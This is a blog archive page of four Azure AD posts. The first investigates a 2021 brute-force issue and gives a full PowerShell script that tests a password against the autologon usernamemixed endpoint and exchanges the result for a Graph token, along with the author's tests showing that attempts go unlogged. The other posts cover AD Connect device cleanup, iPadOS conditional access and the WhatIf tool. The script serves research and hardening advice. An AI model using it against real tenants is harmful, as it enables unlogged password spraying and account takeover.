Jorge's Quest For Knowledge!

All About Identity And Security On-Premises And In The Cloud – It's Just Like An Addiction, The More You Have, The More You Want To Have!

Archive for the ‘Conditional Access’ Category

(2021-10-05) Azure AD Password Brute Force Flaw Found By ArsTechnica

Posted by Jorge on 2021-10-05


Last week, as many of you, I became aware of the the Azure AD Password Brute Force “Flaw” that was found by ArsTechnica. Of course this raised my interest and I wanted to do some research myself to understand as best as possible what was going on.

Source: https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/

This whole thing was focussed on an Azure AD endpoint mainly used for Seamless Sign-On when using either PHS only or PTA only for a specific domain in Azure AD.

So I will start at the beginning and walk you through what I found.

When I looked into my sign-in logs of my test/dev Azure AD tenant, I saw the following

Figure 1: Sign-In Events In The Sign-In Logs In Azure AD

To test this I used the following code, that I found through https://securecloud.blog/2019/12/26/reddit-thread-answer-azure-ad-autologon-endpoint/

Invoke-Command -ScriptBlock {
	[string]$tenantname= Read-Host -Prompt "Enter Azure AD Tenant Short Name"	
	[string]$username= Read-Host -Prompt "Enter UserName"
	$securedValue = Read-Host -AsSecureString -Prompt "Enter Password"
	$bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($securedValue)
	$password = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)

	$requestid = [System.Guid]::NewGuid().guid

	$domain = ($username -split "@")[1]

	Invoke-RestMethod -Method Get -UseBasicParsing ("https://login.microsoftonline.com/common/userrealm/$username" + "?api-version=1.0") -UserAgent $userAgent

	$headers = @{
		"client-request-id"=$requestid
		"return-client-request-id"="true"
	}

	$uri2 = "https://autologon.microsoftazuread-sso.com/$domain/winauth/trust/2005/usernamemixed?client-request-id=$requestid"

	[xml]$data = '<?xml version="1.0" encoding="UTF-8"?>
	<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
	  <s:Header>
		<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action>
		<a:MessageID>urn:uuid:36a6762f-40a9-4279-b4e6-b01c944b5698</a:MessageID>
		<a:ReplyTo>
		  <a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
		</a:ReplyTo>
		<a:To s:mustUnderstand="1">https://autologon.microsoftazuread-sso.com/$tenantname.onmicrosoft.com/winauth/trust/2005/usernamemixed?client-request-id=30cad7ca-797c-4dba-81f6-8b01f6371013</a:To>
		<o:Security xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" s:mustUnderstand="1">
		  <u:Timestamp u:Id="_0">
			<u:Created>2019-01-02T14:30:02.068Z</u:Created>
			<u:Expires>2019-01-02T14:40:02.068Z</u:Expires>
		  </u:Timestamp>
		  <o:UsernameToken u:Id="uuid-ec4527b8-bbb0-4cbb-88cf-abe27fe60977">
			<o:Username>DefinedLater</o:Username>
			<o:Password>DefinedLater</o:Password>
		  </o:UsernameToken>
		</o:Security>
	  </s:Header>
	  <s:Body>
		<trust:RequestSecurityToken xmlns:trust="http://schemas.xmlsoap.org/ws/2005/02/trust">
		  <wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy">
			<a:EndpointReference>
			  <a:Address>urn:federation:MicrosoftOnline</a:Address>
			</a:EndpointReference>
		  </wsp:AppliesTo>
		  <trust:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</trust:KeyType>
		  <trust:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</trust:RequestType>
		</trust:RequestSecurityToken>
	  </s:Body>
	</s:Envelope>
	'

	[string]$UsernameToken  = [System.Guid]::NewGuid().guid

	[string]$messageId = "urn:uuid:" + ([System.Guid]::NewGuid().guid)

	$data.Envelope.Header.Security.UsernameToken.Id = $UsernameToken

	$data.Envelope.Header.Security.UsernameToken.Username = $username

	$data.Envelope.Header.Security.UsernameToken.Password = $password

	$data.Envelope.Header.MessageID = $messageId

	$data.Envelope.Header.To.'#text'= $uri2

	$req = Invoke-RestMethod -UseBasicParsing -Uri $uri2 -Method Post -Headers $headers -Body  $data -ContentType "application/soap+xml; charset=utf-8" -UserAgent $userAgent

	$samltoken = $req.Envelope.Body.RequestSecurityTokenResponse.RequestedSecurityToken.Assertion.DesktopSsoToken

	$token ='<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion"><DesktopSsoToken>SAMLSSO</DesktopSsoToken></saml:Assertion>' -replace "SAMLSSO", $samltoken

	$bytes = [System.Text.Encoding]::ASCII.GetBytes($token)

	$base64 = [System.Convert]::ToBase64String($bytes);$base64

	$uri3 = "https://login.microsoftonline.com/common/oauth2/token"

	$body =@{
		client_id = "cb1056e2-e479-49de-ae31-7812af012ed8"
		resource = "https://graph.microsoft.com"
		grant_type = "urn:ietf:params:oauth:grant-type:saml1_1-bearer"
		assertion = $base64
	}
		 
	$req = Invoke-RestMethod -UseBasicParsing -Uri $uri3 -Method Post -Headers $headers -ContentType "application/x-www-form-urlencoded" -Body $body

	$headers = @{
		"Authorization" = ($req.token_type) +" "+ ($req.access_token)
	   }
		 
	$me = Invoke-RestMethod -Uri ($body.resource + "/v1.0/me") -Method Get -Headers $headers; $me
}
  • [1] the sign in to my Windows 10 using my Azure AD account in a managed domain (jorge@managed.domain) (Visible in Figure 1);
  • [2] the sign-in to Azure AD portal using an account with Global Admin privileges (Visible in Figure 1);
  • [3] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my Azure AD account in a managed domain (jorge@managed.domain), where I on purpose provided a wrong password. Hence the failure result (Visible in Figure 1);
  • [4] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my federated Azure AD account (jorge@federated.domain). Fiddler showed redirection to my ADFS farm in my test environment, but that test environment is shutdown so ADFS (and WAP) is not available (sign-in did not initiate therefore not visible in logs) (Not visible in Figure 1);
  • [5] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my federated Azure AD account @ work. Fiddler showed redirection to the ADFS farm at work. I did not complete sign-in, therefore nothing visible in sign-in logs in that Azure AD tenant. If I would complete the sign-in it would be visible for sure (Not visible in Figure 1);
  • [6] using the code above and signing in with my federated Azure AD account (jorge@federated.domain) and a wrong password (PHS enabled!) (Not visible in Figure 1);
    1. Fiddler DID NOT show a redirection to my ADFS farm in my test environment;
    2. Nothing was visible in the Azure AD sign-in logs;
    3. Output of the code was (figure 2);
Figure 2: Signing-In With A Federated Azure AD Account, And Wrong Password, Against The Azure AD UserNameMixed Endpoint
  • [7] using the code above and signing in with my federated Azure AD account (jorge@federated.domain) and a correct password (PHS enabled!) (I confirmed PHS was enabled and working and the password for this account was synched!) (Not visible in Figure 1);
    1. Fiddler DID NOT show a redirection to my ADFS farm in my test environment;
    2. Nothing was visible in the Azure AD sign-in logs;
    3. Output of the code was as above (figure 2);
  • [8] using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a wrong password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was (figure 3);
Figure 3: Signing-In With A Managed Azure AD Account, And Wrong Password, Against The Azure AD UserNameMixed Endpoint
  • [9] using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a correct password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was: MFA kicks in due to conditional access being enabled in all occasions for this account and because no MFA was done, authentication fails (figure 4);
Figure 4: Signing-In With A Managed Azure AD Account, And Correct Password, Against The Azure AD UserNameMixed Endpoint (Conditional Access Policy ENABLED)
  • [10] after disabling the conditional access policy impacting the managed Azure AD account and using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a correct password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was: No MFA this time due to disabling conditional access policy, authentication now fully succeeds (figure 5);
Figure 5: Signing-In With A Managed Azure AD Account, And Correct Password, Against The Azure AD UserNameMixed Endpoint (Conditional Access Policy DISABLED)

I wanted to go a step further and see what happens if I converted my federated domain to a managed domain. And that is exactly what I did!

I converted “@federated.domain” to “@managed.domain”. so, now the user jorge@federated.domain is jorge@federated.domain.converted.to.managed.domain (man I’m glad this is not my real mail address!)

  • [11] using the code above and signing in with my converted managed Azure AD account (jorge@federated.domain.converted.to.managed.domain) and a correct password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was: (figure 6);
Figure 6: Signing-In With A Managed (Converted From Federated) Azure AD Account, And Correct Password, Against The Azure AD UserNameMixed Endpoint
  • [12] as soon as I reverted back from native to federated it failed again as in [7]

So based upon these findings my personal conclusion is:

  1. This does allow password brute-force/spraying attacks to understand whether a password is correct or not
  2. Nothing is logged in the sign-in logs in Azure AD, that applies to both success and failure sign-ins
  3. It appears NOT to work (i.e. no security issue) when targeting accounts in federated domains, whether PHS is enabled or not. It looks like the Azure AD UserNameMixed endpoint ignores requests from accounts in federated domains (ADFS is not that bad after all! 😉 );
  4. It appears to work (i.e. security issue) when targeting accounts in managed domains, when either using PHS (tested) and PTA (not tested) as those can use Seamless SSO;
  5. It applies to PTA too because Azure AD receives the password and sends it to the PTA agent on-premises and because it can also use Seamless SSO;
  6. Although NOT tested against ADFS/WAP using the code above, if the same endpoint is exposed in ADFS through WAP, then you have the exact same issue for accounts in AD. A recommendation is to have it published through ADFS, but NOT to publish it through WAP (proxy);
  7. I do not consider this to be a vulnerability, but rather a bad “by design”-made decision, because:
    1. Nothing is logged, either with failure of success;
    2. The endpoint is always enabled whether or not you use Seamless SSO;
  8. Although NOT mentioned previously by me, but in step [11] it only worked after disabling Azure AD Identity Protection Sign-in Risk. After I converted the domain from federated to managed, Azure AD Identity protection sign-in risk kicked in and forced me to change my password. After changing my password, I would be in the same boat as an normal managed account
  9. Although nothing being logged in the Azure AD sign-in logs when targeting the Azure AD UserNameMixed, I think have Azure AD Identity Protection AND a conditional access policy forcing MFA at all times will save and protect your bacon. During my testing I experienced blockages due to Azure AD Identity Protection being enabled and Conditional Access forcing MFA at all times. Although MFA may be enabled, but because confirmation is given a password is correct or not, and when correct you just need to find another endpoint/app/whatever for which MFA is not enabled.

Recommendations for you:

  • Enable conditional access policy to always force MFA, especially in external scenarios and/or from untrusted devices
  • Enable Azure AD Identity Protection Sign-In and User-Risk
  • And while you are at it, not really related to this, do enable PHS if you are federated, to be able to leverage leaked credentials

With that in mind, Microsoft appears to go to change things as described in the following link: https://www.databreachtoday.com/microsoft-will-mitigate-brute-force-bug-in-azure-ad-a-17646

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided “AS IS” with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/

————————————————————————————————————————————————————-
########################### IAMTEC | Jorge’s Quest For Knowledge ##########################
#################### http://JorgeQuestForKnowledge.wordpress.com/ ###################

————————————————————————————————————————————————————

IAMTEC

Identity | Security | Recovery

————————————————————————————————————————————————————-

Posted in Azure AD Identity Protection, Conditional Access, Multi-Factor AuthN, Pass Through Authentication, Password Hash Sync (PHS), Passwords, Security, SSO, Windows Azure Active Directory | Leave a Comment »

(2019-10-08) Synched Computers/Devices Being Cleaned Up From Azure AD

Posted by Jorge on 2019-10-08


Starting with version 1.4.18.0 and higher of Azure AD Connect, you may see some or all of their Windows devices disappear from Azure AD after upgrade to that version and executing a sync cycle. This is not a cause for concern, as these device identities are not used by Azure AD during conditional access authorization. This change won’t delete any Windows devices that were correctly registered with Azure AD for Hybrid Azure AD Join.

If you see the deletion of device objects in Azure AD exceeding the Export Deletion Threshold, it is advised that the customer allow the deletions to go through. How To: allow deletes to flow when they exceed the deletion threshold

Nevertheless you may want to analyze the deletion first. You can read the following blog post to see how you could do that: (2019-10-06) Examining Pending Export Deletions In Azure AD Connect

More information about this can be found through Understanding Azure AD Connect 1.4.xx.x and device disappearance

To verify which devices in your AD are candidates to be deleted in Azure AD, you can use the following PowerShell script: Export Hybrid Azure AD join computer certificates report

This script generates a report about certificates stored in Active Directory Computer objects, specifically, certificates issued by the Hybrid Azure AD join feature. It checks the certificates present in the UserCertificate property of a Computer object in AD and, for each non-expired certificate present, validates if the certificate was issued for the Hybrid Azure AD join feature (i.e. Subject Name matches CN={ObjectGUID}). Before, Azure AD Connect would synchronize to Azure AD any Computer that contained at least one valid certificate but starting on Azure AD Connect version 1.4, the synchronization engine can identify Hybrid Azure AD join certificates and will ‘cloudfilter’ the computer object from synchronizing to Azure AD unless there’s a valid Hybrid Azure AD join certificate. Azure AD Devices that were already synchronized to AD but do not have a valid Hybrid Azure AD join certificate will be deleted by the sync engine as these will be filtered from being synched to Azure AD (CloudFiltered=TRUE).

Now this script works great! But….unfortunately it does not work correctly with an AD forest where you may have multiple AD domains. Besides that, there is a cosmetic issue. So, let’s start with the easy part!

The script allows you to specify the distinguished name of a single object or the distinguished name of an OU. However, if you want to query the complete AD domain instead of just a single OU, you may think that’s not possible. Nope, that’s still possible. The original writer of the script chose to name the variable “DN” for just a single object (computer) and “OU” when query for computers in an OU. This last one may mislead due to its chosen name. Nevertheless, instead of the DN of an OU, you can also specify the DN of a container or the DN of a domain.

In a single AD domain environment, this will work flawlessly. However, in a multiple AD domain environment it may not. Due to historic reasons many companies may still have AD forests with multiple AD domains for which it is not cost effective to consolidate. For example, if you have the AD forest COMPANY.COM, with the following AD domains: COMPANY.COM, CHILD1.COMPANY.COM and CHILD2.COMPANY.COM. If you are COMPANY.COM and you need to query for objects in CHILD1.COMPANY.COM through PowerShell while not specifying the server variable (as in this script), it will throw an error due to a so called redirection. To query for an object from another AD domain you need to also target a DC from that same AD domain. If you need to query multiple AD domains you will be dancing all over the place! Sometimes, there is no other way, but in this case there is! And what if you want to query the complete AD forest while having multiple AD domains? You can always query every individual AD domain, but wouldn’t it be nice to just perform a single AD query that targets the complete AD forest? That is also possible!

When querying AD, especially when having an AD forest with multiple AD domains you always need to think about: (1) is all the data in my LDAP filter in the global catalog or not?, and (2) is the data that I’m looking for in the global catalog?

Then you need to ask yourself: “where to start searching?”. The closer to the objects you want, the better!

Rest assured! All domains objects are in the global catalog! The question is: “which attribute values of those objects are also replicated to the global catalog?”

Any attribute that has the property “isMemberOfPartialAttributeSet” set to “TRUE” also replicates its value(s) to all global catalogs in the AD forest. To find all the attributes in the AD schema for which its value(s) replicate to the global catalog, you can have a look at the following blog post (2015-01-05) Finding Attributes Marked As Members Of Partial Attribute Set (PAS). It has examples with ADFIND, PowerShell and ADSI.

Now looking at this script, the attribute of interest is “userCertificate”.

To see if an attribute value replicates to the global catalog, you can use:

Get-ADObject -SearchBase $((Get-ADRootDSE).schemaNamingContext) -LDAPFilter "(&(objectClass=attributeSchema)(lDAPDisplayName=<LDAP DisplayName>))" –Property lDAPDisplayName,isMemberOfPartialAttributeSet

To see if the “userCertificate” attribute value replicates to the global catalog, you can use:

Get-ADObject -SearchBase $((Get-ADRootDSE).schemaNamingContext) -LDAPFilter "(&(objectClass=attributeSchema)(lDAPDisplayName=userCertificate))" –Property lDAPDisplayName,isMemberOfPartialAttributeSet

image

Figure 1: Partial Schema Info Of The “userCertificate” Attribute

Or you could visit https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/f9e923d6-c512-4beb-b963-afd695cea8ac, which will show you

image

Figure 2: AD Schema Definition Of The “userCertificate” Attribute

Guess what?! It does replicate to the global catalog! So, in this case the answer to both questions above is “YES”, therefore we can use the global catalog to perform this query

When you need to query the AD forest, you could start searching in the forest root AD domain and hopefully the client you are using supports Referral Chasing. If it does not, it may throw an error telling you it does not support it, or it just does not do anything. Wouldn’t it be nice to have something represent the AD forest? well, there is something like that, which is called a Phantom Root and it is specified by just 2 quotes and you can only use it when querying against the Global Catalog!

Now for all this to work, some adjustments are needed in the original script! I’ll guide you through that to get a new working script.

First things first. Download the PowerShell script: Export Hybrid Azure AD join computer certificates report 

Replace…

.EXAMPLE
   .\Export-ADSyncToolsHybridAzureADjoinCertificateReport.ps1 -DN ‘CN=Computer1,OU=SYNC,DC=Fabrikam,DC=com’
.EXAMPLE
   .\Export-ADSyncToolsHybridAzureADjoinCertificateReport.ps1 -OU ‘OU=SYNC,DC=Fabrikam,DC=com’ -Filename "MyHybridAzureADjoinReport.csv" -Verbose

…with

.EXAMPLE
    Looking at a specific computer

   .\Export-ADSyncToolsHybridAzureADjoinCertificateReport.ps1 -DN ‘CN=Computer1,OU=SYNC,DC=Fabrikam,DC=com’
.EXAMPLE
    Looking at computer objects within a specific OU
   
   .\Export-ADSyncToolsHybridAzureADjoinCertificateReport.ps1 -DN ‘OU=SYNC,DC=Fabrikam,DC=com’ -Filename "MyHybridAzureADjoinReport.csv" -Verbose
.EXAMPLE
    Looking at computer objects within a specific AD domain
   
   .\Export-ADSyncToolsHybridAzureADjoinCertificateReport.ps1 -DN ‘DC=child,DC=Fabrikam,DC=com’ -Filename "MyHybridAzureADjoinReport.csv" -Verbose
.EXAMPLE
    Looking at computer objects within a specific AD forest
   
   .\Export-ADSyncToolsHybridAzureADjoinCertificateReport.ps1 -DN PhantomRoot -Filename "MyHybridAzureADjoinReport.csv" -Verbose

Replace…

Param
(
    # Computer DistinguishedName
    [Parameter(ParameterSetName=’SingleObject’,
               Mandatory=$true,
                ValueFromPipelineByPropertyName=$true,
               Position=0)]
    [String]
    $DN,

    # AD OrganizationalUnit
    [Parameter(ParameterSetName=’MultipleObjects’,
               Mandatory=$true,
               ValueFromPipelineByPropertyName=$true,
               Position=0)]
    [String]
    $OU,

    # Output CSV filename (optional)
    [Parameter(Mandatory=$false,
                ValueFromPipelineByPropertyName=$false,
               Position=1)]
    [String]
    $Filename

)

…with

Param
(
    # DistinguishedName of computer, OU, or domain
    [Parameter(Mandatory=$true,
               ValueFromPipelineByPropertyName=$true,
               Position=0)]
    [String]
    $DN,

    # Output CSV filename (optional)
    [Parameter(Mandatory=$false,
                ValueFromPipelineByPropertyName=$false,
               Position=1)]
    [String]
    $Filename
)

Replace…

# Read AD object(s)
If ($PSCmdlet.ParameterSetName -eq ‘SingleObject’)
{
    $directoryObjs = @(Get-ADObject $DN -Properties UserCertificate)
     Write-Verbose "Starting report for a single object ‘$DN’"
}
Else
{
    $directoryObjs = Get-ADObject -Filter { ObjectClass -like ‘computer’ } -SearchBase $OU -Properties UserCertificate
    Write-Verbose "Starting report for $($directoryObjs.Count) computer objects in OU ‘$OU’"
}

…with

# Retrieve Object Type Of DN
If ($DN -ne "PhantomRoot")
{
    $objectType = (Get-ADObject -LDAPFilter "(distinguishedname=$DN)").objectClass # Do not use Get-ADObject $DN as it will throw an error if the object does not exist (even with ErrorAction defined)!
}
Else
{
    $objectType = "forestDNS" # Madeup, not for real!
    $DN = ""
}

   
# Read AD object(s)
If ($objectType -eq "computer")
{
    $domainFQDN = $($DN.SubString($DN.IndexOf(",DC=") + 1)).Replace(",DC=",".").Replace("DC=","")
    $directoryObjs = @(Get-ADObject $DN -Properties userCertificate -Server $domainFQDN)
}
ElseIf ($objectType -eq "domainDNS" -Or $objectType -eq "organizationalUnit" -Or $objectType -eq "container" -Or $objectType -eq "forestDNS")
{
    $gcFQDN = $(Get-ADDomainController -Discover -Service GlobalCatalog).HostName[0]
    $directoryObjs = Get-ADObject -Filter { ObjectClass -like ‘computer’ } -SearchBase $DN -Properties userCertificate -Server $gcFQDN`:3268
}
Else{
    Write-Host "Specified DN ‘$DN’" -Foregroundcolor Red
    Write-Host "Incorrect object type of specified DN or DN does not exist!" -Foregroundcolor Red
    Write-Host "Aborting Script…" -Foregroundcolor Red
   
    EXIT
}

UPDATE 2019-10-12: or get the updated version of the script from here

Hopefully this works for you in your AD environment!

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Active Directory Users And Computers, AD Queries, Azure AD Connect, Azure AD Join, Conditional Access, Windows Azure Active Directory, Windows Client, Windows Server | Leave a Comment »

(2019-09-18) Evaluate And Update Any Azure AD Conditional Access Policy Targeting iPads

Posted by Jorge on 2019-09-18


Apple recently announced that it will release iPadOS (new OS for iPad) on September 30, 2019. We have discovered that this release introduces a change that could affect Microsoft Azure AD and Intune customers who use Conditional Access policies in their organization. This notice is intended to help you understand the breaking change from Apple and evaluate the impacts on your organization. This notice also provides recommendations from Microsoft.

Microsoft’s recommendations
  1. Evaluate whether you have browser-based Azure AD CA policies for iOS that govern access from iPad devices. If so, follow these steps:
    1. Create an equivalent macOS Azure AD browser access policy. We recommend that you use the ‘require a compliant device” policy. This policy enrolls your iPad and Mac devices into Microsoft Intune (or JAMF Pro if you have selected that as your macOS management tool) and ensures that browser apps have access only from compliant devices (most secure option). You will also need to create an Intune device compliance policy for macOS.
    2. In the event that you cannot “require a compliant device” for macOS and iPadOS for browser access, ensure that you are “requiring MFA” for such access.
  2. Determine whether a Terms of Use (consent per device)-based Azure AD Conditional Access policy is configured for iOS. If so, create an equivalent policy for macOS.

More information: Action Required: Evaluate and update Conditional Access policies in preparation for iPadOS launch

Cheers,
Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Apple, Conditional Access, iPad, Windows Azure Active Directory | Leave a Comment »

(2018-02-01) Result Set Of Policiy (RSoP) A.k.a. WhatIf Available For Azure AD Conditional Access Policies

Posted by Jorge on 2018-02-01


In AD you have the option to perform a so called Result Set of Policy to determine which GPO contributed a specific (GPO) setting. Really handy when troubleshooting to understand which GPO is contributing a settings that for example breaks something or to be sure that a GPO is being applied correctly.

With AAD, you can create Conditional Access (CA) policies, where CA policies have conditions that need to be met before an access control kicks in. The only way to troubleshoot was the “do it yourself way” which could be seriously painful and time consuming.

As of today, AAD now has the “WhatIf Tool” in public preview for CA policies. I hoped we had this earlier!

For more info, check out the following blog post:

Cheers,
Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Conditional Access, Windows Azure Active Directory | Leave a Comment »

 
%d bloggers like this: